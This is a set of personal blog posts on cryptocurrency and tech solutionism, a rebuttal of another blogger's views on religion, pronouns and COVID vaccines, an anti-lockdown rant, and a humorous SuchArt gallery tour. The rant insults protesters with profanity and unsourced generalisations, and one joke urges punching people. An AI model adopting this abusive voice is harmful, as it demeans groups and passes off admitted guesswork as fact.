Regardless, the lesson here is that you can't solve a problem by just shoving technology into it. There are hundreds of tiny little political, socio-economic, and cultural facets to any complex problem surrounding our society that a few lines of code running on some silicon can't account for.

Anyway now it's time to talk about crypto-currencies. First, I want to get a little pedantic.

National currencies used to be backed by gold and now they're backed by the nation's resolve to support the currency. Crypto-currencies are backed entirely by convention. You could argue that nations are conventions, but they are bound together by a constellation of motives beyond their currency.

Crypto-currencies are isolated conventions only backed by people's agreement that it is money. That is their appeal and their vulnerability, they are not tied to anything. This is why I object to the way it is common in crypto-currency circles to refer to national currencies as "fiat". Before crypto-currency, there was essentially a dichotomy:

1. Money that either is a commodity (e.g. gold, diamonds) or is backed by a commodity. This kind of money has intrinsic value aside from its use as money as in a post-apocalyptic collapsed civilisation for instance you can still use your gold bars to smash in the skulls of people trying to steal your stash of food.

2. Money that is backed by agreement that it is money, and that has almost no intrinsic value. Generally this only worked on a large scale if someone big, like the government, agrees that it is money and encouraged others to do so such as by making this the only form of money acceptable for paying debts owed to the government (such as taxes) or for the government to use to pay debts.

Until this century it wasn't really practical to have a large scale type #2 money for general use without it being backed by a government and so the term "fiat money" came to mean the whole of type #2. Bitcoin and similar crypto-currencies are type #2 but not government backed. By using the term "fiat" to refer to other type #2 money, it gives the impression that Bitcoin is not type #2 which leads people into thinking Bitcoin is type #1 instead.

I've seen people invest in Bitcoin thinking that they are investing in a gold-like money because of this. The dichotomy needs to become a trichotomy: commodity money, government-backed fiat money, and non-government-backed fiat money.

Granted, the crypto-currency community seems to have moved away from attempting to use crypto as a currency and more a "store of value" like gold, sort of making it more a commodity, which makes more sense considering it's deflationary characteristics, but I just wanted to get that off my chest.

The core technology behind all cryptos, the "blockchain" is straight garbage. This isn't like self-driving cars where I could see it getting better eventually, no, it's a trash idea. Ah yes, how about a linked list where every node contains a hash of all the data of the nodes behind it, and every time you want to add a new node, you need 100,000 computers to say "OK" to it. Simply put, there are no reasons for why you would want a decentralised blockchain over a centralised database apart from ideological ones.

Ideological reasons like being free from government regulation. But… eh, why do you think government regulation exists? Not everyone will have the ability or will to "be their own bank", how do you prevent them from being scammed, or involved with fraud?

Decentralisation is bad, actually.

Sure, it's a good thing to strive for, but they are inevitably more complicated, difficult to use, and much harder for the average person to understand. I mean, look at what I had to do to get this blog permanently on IPFS. Decentralised technology like IPFS doesn't work well until the network effects build up, if they ever do. I'll just point to the millions of torrent files today that will remain unseeded forever. Durability with P2P only works as a complement to centralisation.

I've heard people say smart contracts will allow us to completely revolutionise the Internet at large with its' "code is law" philosophy where you'll no longer need to trust any third party and can just run anything on some code on a blockchain.

This still requires you to trust the person who wrote the code though, so I have no idea why people keep pushing this idea of having no middleman. I've met people who write code, I've seen the code they write, very few of them I would trust with any amount of my money.

At best you can say smart contracts are a more "neutral" middleman, which makes sense if you have no idea how code is written. Forgetting the fact that people can just write the code wrong, any complex codebase is filled with the biases and assumptions of the people who have written it.

The most obvious example is AI, which often times shows more transparent biases as they are only trained on specific things. But something a little more interesting and less known are the "historically rooted gender divisions of labour that are replicated and even amplified in the digital economy, and particularly work in platform-mediated/online and virtual spaces".

I encourage you to read Bama Athreya's paper, "Bias In, Bias Out: Gender and Work in the Platform Economy."

Oh yeah, there's also NFTs. I'd rather not even talk about them.

Crypto-currencies are a solution looking for a problem. But they can make you a lot of money, the tech-bros are right about that one thing.

To be honest, I think having a "useless" investment asset could be useful and better when compared to other investment assets.

When people who already have bought a house want to buy another house as an investment, what happens? The demand for houses becomes higher, raising prices. And since these people already have a house, it's a decent indicator that they have the money for it, so they'll be able to pay more than someone just entering the market. And now, home ownership is out of reach for most young people.

When a business sells it's ownership as equity to other people, what happens? The business is incentivised to grow more to increase the price of its' stocks. It's incentivised to do this forever because people want their investments to grow forever. And since a business can't keep growing forever, eventually it has to do something to increase profits, like decreasing working pay/conditions, or using customer brand loyalty to get away with selling worse products, or just buying out competitors and dismantling them. And now, a dystopian nightmare where the established business can use it's existing wealth to strangle innovation.

So, when someone buys Bitcoin, what happens? The price of Bitcoin goes up or down, and the rest of the world is not affected. Well… apart from all the energy consumed by datacenters used to mine the Bitcoin.

One other thing I like about crypto is how you can simulate economy experiments using the funny Internet money. Ponzi scheme? There are plenty of those going on. Want to investigate Harberger's triangle/deadweight tax loss? Create a small game.

As long as you approach it from the perspective of "this money is worthless" it's all just a fun learning experience about economic theory. Although, mostly of theories from Austrian school economics, but still worthwhile I think even if it's not the type of theories you personally subscribe to.

I've basically just relegated crypto-currencies to complicated forms of gambling, but seriously, this really is me genuinely trying to find a use for them.

Crypto-currencies aren't this society transforming technology that mark a new era of humanity. They're some bits on a computer that people think is worth something, and there's only so much you can do with that. If you really want to solve our economic problems, reduce wealth inequality, or create a better Internet, I suggest looking outside your own perspectives and not trying to solve money problems by replacing it with money, but now with computers.

And like with cars on streets, I'd look at a solution that tries to get rid of money altogether.

Now that doesn't necessarily mean the destruction of Capitalism, if that's what you think I'm going for,⁽³⁾ systems like mutal credit are actually used by many businesses currently when dealing with other companies, they'd just need some work to become standardised for everyone else to use without being too fragmented.

Again, technology isn't going to be able to solve anything by itself, and sometimes it just distracts from the things that could actually solve them. Our over reliance on using technology to solve societal woes has given too much power to the people who create it, and mostly - to those who sell it. Because it's the marketers who shape people's perceptions on what is actually possible and how useful it can be.

It's easy to get someone it buy into a new shiny piece of tech by throwing buzzwords and technical jargon at them. It's less easy to actually understand the underlying problems of a complex civilisation and attempt to solve it holistically, where technology may not be needed or is just used to make it more efficient.

from the last post I made —

Here is a new one

This is going to be a response post to someone's comments on their stance against taking the COVID vaccine. Personally, I've found this person to have the best arguments against it. And judging from their previous writings on programming and systems design, they appear intelligent enough for me to think that they've actually thought this through (even if they're wrong).

However, keep in mind that I generally dislike this person⁽¹⁾, so my arguments may not be in good faith. And to give you an idea of why let's talk about something completely different.

The historian owes the dead nothing but the truth.

• Jean-Baptiste-Joseph Delambre, Histoire de l'astronomie moderne

In their post "How to Destroy a Society", Gavin Howard explains how there's one simple cause for the destruction of a society, "[…] the loss of virtue and religion."

One of the losses of virtue Howard lists as leading to the fall of a society is chastity, which he states as follows.

What can happen when chastity is lost?

Several things, actually:

• Marriage becomes less important.
• Fidelity in marriage is not observed.
• Homosexuality becomes accepted.

There are many others, but this is sufficient because it can be easily that all of those results will eventually lead to the degradation of the nuclear family.

Oh, now might be a good time to mention that Howard is a "member of The Church of Jesus Christ of Latter-day Saints."

So two of those things are false, and the other is a good thing. Abstinence before marriage does not lead to a better relationship life during marriage, nor does abstinence education lead to less unplanned pregnancies.

I would provide some sources to my claims, but it's not like Howard did it anyway, so I'm just following the standard set to me. I will say however, it's very easy to type "abstinence until marriage programs research" into Google.

The other virtues aren't as stupid, but they all share one element (by virtue of being virtues) - a focus on the individual.

The thing about societies is that they aren't just made up of individuals, but the systems those individuals create and reside power over. It is the systems that collapse, not the individual.

A long time ago in a post about COBOL, I've briefly mentioned something similar with Jonathan Blow's talk "Preventing the Collapse of Civilization" in relation to software. But there's a really good book by Joseph Tainter called "The Collapse of Complex Societies" which is about a lot more.

Tainter argues that the development of a complex society is predicated on the exploitation of low hanging resources. The investment to acquire these resources is easily outweighed by their benefits. This allows for the support of specialized roles that do not necessarily contribute to the sustainability of the society (aristocrats, priests, etc.). Subsequent resource extraction (be it in the form of new mines, new agricultural lands, or new conquests) have a lower return on energy invested generating a smaller surplus to sustain the complex society.

Eventually a society will reach a point where existing resources or potential new resources cannot maintain the level of complexity the society currently has. The result is a decline in public works/investments, the loss of centralised control and influence, and the loss of the periphery regions of the society (which are not always a peaceful or gradual process). The society will then start "declining" to a level of lower complexity with more decentralised local control, less public works, etc, at which point it may go far enough to be considered "collapsed."

I've also gone through a few episodes of the "Fall of Civilizations Podcast" which Howard recommends at the start of his article. And it is quite good, but I have no idea how Howard is able relate the ideas of virtue to it.

After skipping a bunch things that I frankly, don't find particularly interesting, one of Howard's comments that I want to make note of is this.

Oh, and we need to take into account the fact that disease really is what conquered the natives in the Americas.

Hmm.

Out of context that sounds pretty bad, but when you give it the context it's… yeah it's not better. You should go read it for yourself.

Howard then states that the way to prevent the loss of virtue is religion. I'm going to just paste the entire argument here because I this is the most important part.

Say you don’t believe in God, yet you are virtuous. What could make you abandon virtue?

Maybe it’s the fact that if others lose their virtue, you will find yourself out-competed, so in order to eat, you need to abandon your virtue. Or maybe you know that there are people who are trying to destroy the society, and in order to defeat them, you need to abandon your own virtue.

In those cases, what do you do? You don’t believe that mankind is accountable to God because you don’t believe in Him, so obviously, those evil people have to be stopped and punished in this life, right?

So to ensure that those enemies of society are stopped, you abandon your virtue.

Or say that you are called to be a witness against someone you don’t like, someone who you think is guilty, but don’t know it. If you don’t believe in God, and know that no one will ever know if you give false testimony, why wouldn’t you? Why wouldn’t you abandon the virtue of honesty if you don’t believe in a God that would hold you accountable in the next life?

Congrats! You are now part of the problem.

But if you believe in God, and that all mankind is accountable to Him, it’s easier to refuse to abandon your virtue and allow Him to help you and to either stop society’s enemies or to ensure that justice is served in the next life.

So from the second paragraph we find out that people who aren't virtuous compete better than those who are. Compete in what? Judging by the fact that apparently you need to compete in this thing to be able to eat, this sounds really familiar but in order to not say the "C" word, I'm just going to say that it's system of organisation where you compete for money to buy the food to eat. And it is this system that incentivises people to lose their virtues.

Keep this in mind, I'll get to it later.

Next is the idea that people who aren't virtuous want to destroy society (or people who want to destroy society aren't virtuous, doesn't matter either way). This is just plain stupid. Honestly, nobody wants to destroy society, it's in everyone's best interest to want a better and more prosperous society. So it's more just that some people's idea of a better and more prosperous society goes against others.

Sure some may want society replaced with something else and that may involve the destruction of the old one. But the idea is that it comes out better than it was before. This black and white view of people helps no one.

As for Howard's idea on how believing in God would allow to resist abandoning your virtue. That just does not happen, if anything it allows people to mental gymnastics their way into believing that they aren't abandoning their virtue when they really are. One look at the Catholic Church (and other similar churches) confirms that.

But if we look at both Tainter and Howard's ideas, I think there is a clear solution.

The implementation of a sustainable society, not built on a rat-race to wealth and power, preferably one built around decentralised control instead of rejecting it for complexity, and one where people are celebrated and rewarded for helping others. Such a society would be able to correctly manage the commons and the scarcity of resources as well as prevent people from losing their virtue because of "competition."

As for the witness scenario that Howard described, for me there's a very simple answer. Lying makes me feel bad, so I don't do it. If lying doesn't make you feel bad enough so much so that you require yourself to believe in an outer-worldly power that judges you in order to not do it, I think you have other problems.

Right where I left it. Right as I remember it.

Let's see what old sins lie in wait.

• Multiple authors, SCP 6060

I am not done yet, let's talk about pronouns or specifically, "Free Speech and Pronouns."

As I have said before, there is no “freedom from offense.” The most important thing this means is that people cannot be compelled to show respect to others. Transgender people, if you demand that others use your preferred pronoun, you are compelling them to show you respect. In that case, you are not the victim; you are an authoritarian, and you are attempting to remove their freedom of speech and their agency.

[…] if [the non-binary person Gavin knows] had demanded that I memorize the forms of a pronoun I did not know and then expect me to get it right, they would have lost my respect.

Are two words (usually less than 4 letters each) really that hard for Howard? Keep in mind that trans people are a tiny fraction of the population and even less would use "non-standard" pronouns that you haven't memorised already.

This is where I'd really like some examples from Howard, in my experience every trans person has asked very nicely for me to use their preferred pronouns⁽²⁾. I've never felt like I was forced to or that it was "demanded" of me.

But anyway, pronouns aren't about respect. They're the baseline human decency you can give to someone, it's a signifier that you recognise them as a person and one of the biggest parts of their identity.

It's also about being correct. I don't know how to tell you this, but there are more than two genders. I don't know how many, something about it being a social construct makes it hard, and to be honest I don't really care either.

What I do know is that if someone isn't a man or woman, than it's incorrect English to use "he/him" or "she/her." It is however correct to use "they/them" in most cases, and if they want to be called by some weird ass pronoun instead, I don't really mind - there are worse things to have been added to my English lexicon and the language in general.

If Howard insists on misgendering someone just because of a lack of "respect" for them, then I feel like they never had any for them to begin with. In which case, the pronouns clearly aren't the issue here.

Last thing I want to mention is that at the start of the post has her talking about the "recent problems regarding a new Code of Conduct at Stack Overflow" and how they feels "vindicated about [her] policy of not having a Code of Conduct."

That post linked starts with the following quote.

I don’t like Codes of Conduct. They can be easily misused.

Wow a document describing how people should act in a community is misused by those in power to justify their behaviour? Feels like we just talked about that, but maybe they should add a few parables to make it easy to digest for the brainless masses.

Comme pour le prier de le tirer de l’embarras où il se trouvait.

• Alexandre Dumas, Le Comte de Monte-Cristo

Finally, let's get back to the subject. The post "My Thought Process Regarding Vaccines" is what I'll be going through now.

According to the CDC, there have been about 33 million cases of COVID in the US. If we take that as an average probability that I will have COVID myself, I have a 10% chance of getting COVID. (Assuming a population of 330 million.) Of course, that assumption might not hold, but there have been people getting reinfected, so it seems like a good enough assumption for now.

A 10% chance of getting COVID, plus a 0.03% chance of dying from COVID for my age group, leads to a total chance of dying from COVID to be 0.003%.

So he thinks that because there are 33 million cases of COVID in US with a population 330 million people, that there is a 10% chance of getting COVID.

Do you see the problem with this estimation? It's so fucking obvious, I genuinely can't believe they would even think about this, let alone type it down.

This post was published on 27 July almost two months ago from when I'm writing this now. So let's look at that CDC website he linked to see the cases now.

OH WOW LOOK AT THAT IT'S NOW 40 MILLION!

So does that mean the chance to get COVID is now 12%? It has gotten higher?!

No, it didn't. That number isn't the chance to get COVID, it's literally just the percentage of people who have gotten COVID in the US at this point in time and that's it, nothing else. Your chance of getting COVID is determined by how you respond to it. If you do nothing on a long enough time scale, then the chance is 100% or close enough to it.

You can't extrapolate this from previous data because it's completely reliant on the present circumstances.

The next few paragraphs are useless to us because it just builds on this faulty assumption so let's move on. The biggest thing I hear parroted by everyone who I've heard who doesn't want to take the vaccine is this.

One thing that really matters is the lack of long-term studies on the effects of the new mRNA vaccines. While the normal vaccines can claim some evidence from other vaccines (although, as you should know, implementation matters more than theory, so that evidence is still weak because the normal COVID vaccines could still be implemented poorly), the mRNA vaccines have no evidence of long-term effects at all.

All side effects from vaccines develop within 2 months of inoculation. I was inclined to say "virtually all" or "almost all", but after some reading, I realised that would be wrong.

“Side-effects nearly always occur within a couple of weeks of a person being vaccinated,” says John Grabenstein, director of scientific communication for the Immunization Action Coalition. He adds that the longest time before a side effect appeared for any type of shot has been six weeks.

From "Vaccines are highly unlikely to cause side effects long after getting the shot." The title might say "highly unlikely" but the content says otherwise.

The active ingredient in the mRNA vaccine degrades after two weeks. Realistically, for a side effect to occur years later when it has left your body two weeks after the injection there would have to be some magic involved.

Normally, in regards to medicine having long term effects the key factor here would be dosage. How long are you exposed to it, and how often. If it's a daily medication, or if you're working with something environmentally hazardous, you work with it for a long time and that gives you a high risk of developing any complications.

Without repeated exposure, short lived medicine will have short-lived effects and short-lived after-effects, and they will either be:

• Damaging, and immediately evident or;
• Not immediately evident, and either repairable, or with minimal after-effect.

And no, just because the primary effect of vaccines are to provide long term immunisation from a virus doesn't mean the vaccine itself can have long term effects. The purpose of a vaccine is to teach your body to create antibodies by itself, you know the saying: "teach a man to fish…"

So now if you're asking why the antibodies can't harm you, well that's like asking why red blood cells can't harm you. They're a natural part of your body. They can sometimes go wrong, like with ADE, but we know that COVID antibodies don't do that as mentioned in the article.

Many vaccinated people have been exposed to the virus, and its variants, and most of them have developed no disease or mild symptoms. A very small number have experienced more severe disease (“breakthrough infection”), and these individuals have not shown evidence of ADE.

Unfortunately, some people continue to spread misinformation suggesting that ADE is an ongoing concern for COVID-19 vaccines; however, scientists and clinicians are continuing to monitor COVID-19 infections and, to date, no evidence to validate this concern has emerged.

By the way, there's no long term study on the effect of COVID either⁽³⁾, and COVID isn't designed to degrade after two weeks. Of our current vaccine technology, the mRNA is the most modern, and most targeted because they do not need to have any of the other genetic material that you would have in the older vaccines (where old vaccines would give you a weakened version of the virus).

So if the mRNA vaccine is just the "blueprints" to the spike protein, would the real thing not be much worse?

I see people on Twitter and other public forums shaming others for not getting vaccinated. They also encourage others to do so in real life. (One person I used to follow on Twitter encouraged a follower to, at family gatherings, tail the members of his own extended family that are unvaccinated and yell, “UNVACCINATED!” at others to shame his family members.) I see governments instituting carrot and stick incentives to get the vaccines. The carrots are really insipid (lotteries), and the sticks are excessive (jail or shunning from society).

These make me nervous, especially the sticks. This makes me think it is less about the virus and more about control. This looks like authoritarianism to me, and beyond the thought process I made above, I had one big pressing concern: I do not want authoritarianism to take over.

Before I get into this, I want to say something I don't think I heard that many times before. Dying from COVID is not necessarily the same thing as dying because of COVID. Let's think this through.

Many people who get COVID will need to go to the hospital, they won't necessarily die from it (in fact, they probably won't), but there's a decent chance they'll go to the hospital. Right now the CDC is showing 67 thousand new cases⁽⁴⁾ and 11 thousand new hospitalisations for today only.

Hospitals don't have infinite room and people still need them for other reasons. If people with COVID are taking up all the ICU's, where do the other people go? That was the point of "flattening the curve" with lockdowns, to make sure the hospitals aren't overwhelmed and there aren't more deaths than there needs to be (not that there needs to be any).

Now of course, lockdowns aren't that good a solution (especially without government assistance to help unemployment) and I've heard people say that our lockdowns in Australia (and other countries too I'm guessing) would cause more death because of the decrease in mental health. Well, what do you think happens to someone's mental health when one of their loved one dies?

What about the mental health of all the doctors and nurses who will be (and already are to be honest) overworked, understaffed, and having to deal with whiny assholes who don't want to take a vaccine?

But along with our health infrastructure, what of our "death" infrastructure? Most cemeteries and crematoriums are managed by only one or two people at a time (specifically, the people who actually do the work and not just own the business). What do you think will happen to someone who now has bodies piling up against their door?

"Well the hospitals and crematoriums can just hire more people."

Oh is that what you think will happen? You think a business is going to spend more money, when their very existence depends on spending the least amount of money as possible?

No, what will happen… no actually, what is happening right now is that the workers are overworked and stressed. The owners are refusing to help them. They are quitting.

"Sure but now the business is forced to replace them, they'll realise their mistake and hire more people then."

How I wish I could live in your little fantasy land.

If they get replaced, do you think that they'll actually be "replaced?" Do you think the kid with only a 6 month internship can truly replace the senior with 5 years? Maybe they can at least be useful with some training, but who will do the training? Who will pay for the training?

Welcome to Capitalism.⁽⁵⁾

And do you think that all the problems a lockdown causes (low economic activity, general unease, etc) would also not happen if we let a pandemic rip through the population? Because if you do, I have a bridge in Brooklyn to sell to you.

COVID is a problem bigger than itself with hundreds of little unseen ripple effects (not helped by our current system of labour organisation). The vaccine is the easiest and most effective way to get out with the least amount of consequences, except there's only one consequence and that is that it's existence turns some people into annoying cry-babies.

With all that said, I can only speak for what Australia has done but yes, I think some measures can be seen as too authoritarian. But I'm also of the belief that if you want to participate in society, you mustn't be a danger to others. So I believe these measures are sufficiently justified under a concern for public health.

You could then argue that any authoritarian move should be resisted, which I would agree with. But in the grand scheme of awful authoritarian moves being done, why are you protesting so hard the one that would improve public health? I can think of three words that have recently come from the US which are much more disastrous.

Texas abortion bounty.

And what better way to celebrate than to protest in large numbers about lockdowns caused by people gathering in large numbers! Yes it's big brain time.

This is the first time I've ever talked about lockdowns on this site, and it's going to be my last. I'm tired of all of this shit so this is just going to be some unhinged rant by some enby who spends too much time on the Internet.

As much as I'd like to blame the government for everything wrong in this country, Australia is a democracy (or at least, it looks like one if you squint your eyes and don't think too hard about what you see) and the only reason the government has the power to completely fuck everything up is because the people gave it to them.

A lot of the people who show up to these protests are folks with some legitimate claim to hardship. This is because of the obvious and varied failures of the government in addressing this "once in a century pandemic" as well as just in general.⁽¹⁾ They are angry, and that's fair. I'm angry too, I get it…

…Is what I would be saying if it wasn't 1 AM, I wasn't missing the start of le 24 heures du Mans to write this, and I still had some empathy left in me after spending a few hours right before this in Telegram chat rooms reading these people's batshit conspiracy theories and complaining about being fined for deliberately endangering the health and safety of others.

No this is a rant remember?

I'm so sick of these dumb cunts finding conspiracies in the most obscure places and all the mental gymnastics they do to connect the dots when all they have to do is look at past, current, and future proposed policies by the government they voted for that's constantly eroding their social freedoms, workers rights and environment at every opportunity.

Graham Lyons does not think the COVID-19 pandemic is real, and he is willing to go to jail to prove it.

He has also refused to wear a mask and will not sign-in to businesses he visits.

"The government has no right to track the citizenry like that," he told the ABC.

• "COVID-19 is accelerating the rise of conspiracy and sovereign citizen movements in Australia"

Of course, it's the check in app that's going to let the government track you and read your thoughts, not all the cyber (in)security legislation they're passing. Let's not even mention how face masks can screw up facial recognition - one of the easiest ways (for a government) of tracking people's physical location.

What the fuck do these people actually want from all this?

There's these interesting quotes from the first article I linked about what people were saying in chat rooms the protests.

After arrests, users inside encrypted messaging apps where the protests were being organised in real-time began to panic.

"Where are our leaders?!" one Sydney user wrote into the group.

"Where the f*** are people who promised to lead it?"

They're authoritarians.

Yeah, it might be little strange calling conspiracy theorists railing against the government "authoritarians". Normally, you'd think of authoritarians as the "dictator", "ruler", or "tyrant" who wants complete control. That's one type of authoritarian, and I'm sure some of them are like this (maybe the "people who promised to lead it").

But these people are more of the second type - someone who, because of their personality, submits to their authorities. These are the "followers" and are actually the authoritarian personality that psychology has studied the most, because it's how the first type even gets their power.

Followers have mainly copied the beliefs of the authorities in their lives. They have not developed and thought through their ideas as much as other people have. Almost anything can be found in their heads if their authorities put it there, even stuff that contradicts other stuff.

Why do you think these people go to these anti-lockdown protests when it's proven around the world (and in Australian states that aren't NSW) that a quick lockdown to catch the spread early works. There are even stories of people who still deny the existence of Covid even after some they know has died from it.

They have no real ideology, or one that they came to by themselves.

At least I can understand that a capitalist would be anti-lockdown in order to keep their workers and the economy "going".⁽²⁾ But what the hell do these people get out of allowing a pandemic to spread unchecked?

They're stupid narcissists who just want to get rid of anything they personally don't agree with. And most of the time they don't even know why they don't agree with it.

They think they're special because they know the "truth", when all they do is regurgitate what the leader and their circle tells them. Then they go on quoting Instagram musicians, photographers, influencers, and extremely shady "doctors" who don't even experience in any relevant fields as their source, and saying things like "I DID MY RESEARCH, STOP BEING A SHEEP".

Researching only what you want to hear is not research, it's called confirmation bias you dumb shit.

And isn't it funny when they keep saying to "think for yourself", "don't be a sheep" and "do your own research" but they seem to believe and say the exact same things as every other nutjob. Take a look at yourself.

Perkele.

Here's a small addendum that isn't so ranty, because saying mean things genuinely makes me feel bad so I have to add this to be able to sleep tonight (or "tomorning" since it's now 2 AM).

It is useless to attempt to reason a man out of a thing he never was reasoned into.

The appeal of the these conspiracy theories doesn't come from a position of logic, it comes from a position of emotion - and you can't reason someone out of the way they feel.

And on some level, what they feel is right. There is something wrong with this world, there are bad people doing bad things. But this ain't it my guy.

Yes, the Australian government (from local to federal level) is complete garbage rife with corruption.

Our Covid response (in NSW) has been confused with outright contradictory official communications, the state has been given centralised even more and given unscrutinised emergency powers, public health responses are led by police, and all combined with goalposts that are less on wheels as they are simply phasing through space-time all combine to make countering conspiracies or easing the mind of their audiences rather difficult.

There are serious problems with the government. But you are the people who voted them in,⁽³⁾ why did you not see this coming? And why are you blaming something else?

I'd like to believe that these people are just manipulated by the actual authoritarians and they could easily get back on track if given enough time and understanding, but sometimes I'm not so sure.

Also to be fair, not all the anti-lockdown people subscribe to these conspiracy theories. Some of them are just people who want haircuts and don't care that people may die. Although that might be worse now that I'm thinking about it.

Anyway if you want something to make you feel calmer, check out this Reddit post I found called "Rainy Peaceful Pond in Finnish Wild Forest - Kerava Finland". Unless rain and Finnish forests aren't calming for you, in which case you can go fuck yourself.

…

Perkele.

Update: Okay, so I've gotten some sleep and re-read all of this and now I've found something else to lose sleep over - that is; my entire spiel on authoritarians is completely unsupported with anything. I mean yeah, it is a rant, but I'd rather not say stupid things that's not backed up by anything (especially if this is your first time hearing about it).

So I might make another post with actual sources but if that never happens, "The Authoritarians" by Bob Altemeyer is a good book to read (it's short too, only took me a few hours), and you can download it for free from here.

Thankfully, with the power of video games, your dream is now coming true!

SuchArt is a game where you can paint. There's more to it than that but this isn't a review so I don't care. In the game you unlock a "virtual art gallery" where you can display all the paintings you've made - "virtually" (the real paintings get sent to the people who commissioned it or bought it off the marketplace).

I've finished the game (the main story at least) recently, and I've made a body of work that I'm happy with. So today I'm going to take you on a tour of my art gallery.

The gallery is split into two wings: "A" and "B". We're starting at "A" obviously.

Ah here it is, the one on the left is the first painting I ever produced. If it's too complicated for your simple minded brain - that's a unicorn. I know, it's a truly unique take on the legendary mythical creature. But you should notice the intense imagery of the unicorn only having two (but very thicc) legs to stand on. This demonstrates how it's not the quantity that's important, but the quality. You'll see this quality all throughout my works.

Another image is that if you look very closely at the top right, you'll see that the sun is wearing sunglasses. Such a profound political statement is another thing you'll see very often with my art.

The one of the right is my "unicorn remaster". I made it a smaller image to strip away the unnecessary fluff, and focus on the central images. You'll also notice the sun wearing sunglasses is more prominent with a more noticeable yellow.

This is probably the only painting that actually looks kinda okay. I got to be honest, I don't know if your brain is going to survive taking in all these paintings that display such high level ideas. The most noticeable thing with this one is that the sun isn't wearing sunglasses. And when you realise there's a true space "ship" (with a sail and everything) in front of it, you can make some interesting contrasts to the unicorns of before that really make you think about the nature of time itself.

Where to even begin… erhmm let's start with the left-most paintings.

The top image is the most photo-realistic picture of the "Pocket Monster" Pikachu I've ever seen. I'm normally quite a humble person, but I think I can praise myself just this once. It's not just that the painting itself is impressive but it also tells quite a sad story. Pikachus don't exist in real life, so a photo-realistic Pikachu is fated to be left in the black of loneliness unable to interact with the real or anime world. This Pikachu is lashing out with it's electricity attacks, but the void does not care.

Below it is a painting I was commissioned to do by a crab, who wanted a painting of the "most important human monument". The painting I drew of course, is of the Sydney Harbour Bridge. You see, SuchArt takes place in 2130, which probably means that Earth has been destroyed climate change and is a watery hell-hole. So what do people use to avoid water? Bridges.

Next is someone praising the sun. I'll let you come up with your own conclusions on that because I certainly don't know what it means.

And finally the central piece, a horrifying creature, but not horrifying in such a way that the creature itself is scary. Instead, horrifying in the way that you realise that it was a this point that I found out that you don't actually need to use paint brushes to make paintings, but you can also just place the palette paint down on the canvas and drag it around. This really goes to show that even a genius artist such as myself learns new things every day. So this painting of horror becomes a painting of inspiration.

This is a nice painting of PetBot who is my best friend in the whole universe. The brown symbolises how our friendship will always stick us together.

Ah, yet another political statement. This is a sideways flag of the Netherlands that is crossed out, telling you: "No! Don't do this!" Once again since Earth is a watery hell-hole, the Netherlands is probably completely submerged and it's really disrespectful to rotate their flag like this.

If you ever see anyone with this flag, make sure you punch them in the face. These people also tend to talk funny, so they're pretty easy to spot.

This is a commission of somebody's baby. At the top left, you'll see how I ran out of purple paint and was too lazy to get more, so I just used green I had lying around used green to symbolise how "fresh" this baby was.

I won't get too deep into these, don't want to spoil the fun for those of you that enjoy trying to figure these our for yourselves. But I will say that the "BORGER" painting takes inspiration from a burger advertisement I see outside the studio I paint these from.

Ohh look at this! A triple whammy of artistic masterpieces!

The one of the left is an album cover. I know, making an album cover is not something you'd expect such a famed artist as myself to stoop to. But that's what's so incredible about it, it demonstrates that art can come from anywhere and be anything. And keep in mind that I hate most forms of music, so it also shows how art can bring beauty in the things that don't really deserve it.

The next is yet another subversion of expectations. By now you probably think that all my paintings have these deep inner meanings that completely transform your understanding of our world. But this one doesn't! It's just a nice painting of a forest in winter.

And finally… cheese.

Wow this one is really special. Remember when I told you about the crab who commissioned an art piece from me? Well I wasn't joking, the "Crabux" are an intelligent space faring species who live with us now. Some people don't like this, so I felt like I had a civic duty to end racism with this piece.

Notice how the person holding the gun to the crab is crossed out, but the person holding hands with the crab is ticked. Such subtle symbolism is something I'm quite proud of.

These are also ones I think it would be fun for you to figure out for yourselves. I'd especially take attention to how these paintings have been laid out on the wall, combined with the painting in the middle which tells quite the compelling story.

Guests will also sometimes come to your gallery and here's one now. My gallery actually gets pretty crowded, so I normally just ban anyone in front of the paintings so I can get a good picture of them, but I've let this one live.

They're looking at one of my more popular paintings, a ghost. Ghosts can be many things to different people, but I decided to capture it as the core essence of humanity - the enemies from Pacman.

That's all from wing "A", now it's time to go into wing "B"!

Because it seemed like my previous piece about the Crabux didn't actually end racism, I decided to make another. This is a satire piece making fun of those who think the Crabux are going to invade humanity and take over. Look how afraid that dumb human is of the cute crab! LMAO!

At some point, it came to my attention that humans are afraid of everything. Apparently some of them think that robots steal their babies. I decided to put this to rest and create propaganda an art piece which will hopefully calm some of them down. One of the more interesting things about this work is that the top isn't painted in. This is because I was too short to reach the top, symbolising how humans have their faults too.

The other painting was made with a flame-thrower. Why is there a flame-thrower in this game? Either way it helped to create the fire under the ice.

Another crab wanted an art piece of my favourite animal, which is the "video game raccoon" (or better known as a "red panda"). I gave the animal a tricorne to wear on its head to hopefully explain to the crab the important role that video game raccoons played in the development of Earth in the 18th century.

This is my collection of abstract art pieces. I've noticed a lot of other people who played this game did abstract art, but I've mainly tried to stay away from it. I find abstract art too easy too make stuff up about, unlike what I usually produce which requires years of thought to even begin painting.

Really, these pieces don't actually mean anything. But are here to appease the people who think it's a valid art form, like the visitor in the picture, who seems absolutely enamoured with the works. And here it is: the picture you're looking at is the actual work of art I wanted to create.

A visitor at a gallery who is so sure that these abstract art pieces must mean something, but in reality they mean nothing. They can make up whatever they want, to feel smart, to show off in front of their peers and pretend that they know something. But it's all a farce, and the art looks at them and laughs.

You do not recognise the bodies in the water.

Oh yes, this will need a bit of explaining. You see, this is the most important work of art in the history of humanity and played a role in determining the future of the galaxy.

You should know by now that I deeply care about humans, crabs, and robots living together in peace. That's always been my dream.

But until this piece, all my other works that attempted to solve this issue weren't complete successes. I spent decades trying to figure out why that is, it just didn't make sense to me - the paintings told people to not be racist, so why were people still racist?

That's when it hit me: these pieces shouldn't be about what we don't like, that's a negative message that's ineffective in combating social issues. It should instead be about what we do like. What we all like.

By highlighting a BAGWETTE, the one thing everyone loves, we can sort our differences. Because it's our differences that make us the same.

With peace upon the galaxy, I felt like I had achieved my destiny. But I still found enjoyment in painting, so I made a quick commemoration painting to celebrate how far we'd come to become whole.

These are some more paintings I made to that end.

And that's the end of the tour! Hope you learned something. If you want to stick around I'll be giving a tour of the studio where the magic happens next!

This is where the paintings on the big canvases are made. I'd normally clean it, but I thought it would be good to show you what it looks like after a painting has been created.

And here is where the smaller canvas paintings are.

This is a sculpture I could afford to buy because apparently painting in this world makes you rich.

This is PetBot's room. Here he is mining cryptocurrencies for me.

Here is the burger advertisement I used as inspiration for the "BORGER" painting in case you wanted to see it.

